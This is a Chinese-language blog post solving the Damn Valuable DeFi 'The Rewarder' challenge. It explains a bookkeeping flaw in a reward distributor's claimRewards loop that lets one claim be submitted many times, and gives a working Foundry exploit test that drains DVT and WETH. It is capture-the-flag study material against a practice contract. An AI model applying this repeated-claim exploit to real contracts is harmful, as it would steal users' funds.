iT邦幫忙

2024 iThome 鐵人賽

DAY 8
0
Security

我也想成爲好駭客系列 第 8

Day 8 - The Rewarder_這在我們業界是種獎勵

  • 分享至 

  • xImage
  •  

hint

A contract is distributing rewards of Damn Valuable Tokens and WETH.

To claim rewards, users must prove they’re included in the chosen set of beneficiaries. Don’t worry about gas though. The contract has been optimized and allows claiming multiple tokens in the same transaction.

Alice has claimed her rewards already. You can claim yours too! But you’ve realized there’s a critical vulnerability in the contract.

Save as much funds as you can from the distributor. Transfer all recovered assets to the designated recovery account.

Analyze WTF

按照題目敘述,這一題跟閃電貸沒有關係,而是獎勵空投,身為一名磚業的炒幣仔,獎勵空投簡直就是在晚上躺在公園長椅上的小確幸,為我的爆倉生活帶來了一絲希望

好的扯遠了,這一題要我們做的就是從合約中轉走 DVT 和 WETH,那既然是要轉走,我們當然是要找到所有可以轉移代幣的地方,那我們就可以找到以下 cleanclaimRewards 這個兩個 function,至於判別的方法就是他們都有使用 transfer

但是經過分析,clean 只能轉移代幣給擁有者,而那個擁有者是我們沒辦法變更的,所以我們只能把希望放在 claimRewards

for (uint256 i = 0; i < inputClaims.length; i++) {
    inputClaim = inputClaims[i];

    uint256 wordPosition = inputClaim.batchNumber / 256;
    uint256 bitPosition = inputClaim.batchNumber % 256;

    if (token != inputTokens[inputClaim.tokenIndex]) {
            if (address(token) != address(0)) {
                if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
            }

            token = inputTokens[inputClaim.tokenIndex];
            bitsSet = 1 << bitPosition; // set bit at given position
            amount = inputClaim.amount;
    } else {
            bitsSet = bitsSet | 1 << bitPosition;
            amount += inputClaim.amount;
    }

    if (i == inputClaims.length - 1) {
    if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}

_setClaimed 函數通常在智能合約中用來記錄某個狀態被標記為「已經完成」或「已經領取」,理論上我們不能再做領取。所以這個合約看似利用了這個函數來讓這個合約天衣無縫,但是這個 function 的開頭使用了 if (address(token) != address(0)),代表在這個 for 迴圈第一次執行的時候絕對不會將該代幣標記為已領取

其次,當我們的 inputClaims.token 中的第 (i+1) 個代幣與第 i 個不同時,它會錯誤地將第 i 個代幣標記為已領取,而不是正確的第 (i+1) 個,這讓我們可以多次領取代幣。

Solve WTF

經過上面的分析,我們需要利用 claimeRewards 重複提交領取請求
那需要做的事情如下:

  1. 找到我們的地址以便捲款潛逃 (player)
  2. 找一個跟我們有關但是尚未領取過獎勵的地址
  3. 重複送出領取請求,並確保送出的請求都有效
  4. 使用 claimeRewards 轉移資金
function test_theRewarder() public checkSolvedByPlayer {
    console.log("player address:", player);
    console.log("Alice address:", alice);

    uint256 WETH_CLAIMABLE = 1171088749244340;
    uint256 DVT_CLAIMABLE = 11524763827831882;

    bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
    bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");

    uint256 dvtTxCount = TOTAL_DVT_DISTRIBUTION_AMOUNT / DVT_CLAIMABLE;
    uint256 wethTxCount = TOTAL_WETH_DISTRIBUTION_AMOUNT / WETH_CLAIMABLE;

    IERC20[] memory tokensToClaim = new IERC20[](2);
    tokensToClaim[0] = IERC20(address(dvt));
    tokensToClaim[1] = IERC20(address(weth));

    Claim[] memory claims = new Claim[](dvtTxCount+wethTxCount);
        
    for (uint256 i = 0; i < dvtTxCount; i++) {
        claims[i] = Claim({
            batchNumber: 0,
            amount: DVT_CLAIMABLE,
            tokenIndex: 0,
            proof: merkle.getProof(dvtLeaves, 188)
        });
    }

    for (uint256 i = dvtTxCount; i < dvtTxCount+wethTxCount; i++) {
        claims[i] = Claim({
            batchNumber: 0, 
            amount: WETH_CLAIMABLE,
            tokenIndex: 1,
            proof: merkle.getProof(wethLeaves, 188) 
        });
    }

    distributor.claimRewards({
        inputClaims: claims,
        inputTokens: tokensToClaim
    });

    dvt.transfer(recovery, dvt.balanceOf(player));
    weth.transfer(recovery, weth.balanceOf(player));        
}

pass

結果下貓咪跟廢文的處理一天抵2天 = =
那我真的要這樣下了😠

每日梗圖(1/1)
liver


上一篇
Day 7 - Side Entrance_有同學門沒關好喔
下一篇
Day 9 - Selfie_來張自拍吧
系列文
我也想成爲好駭客13
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言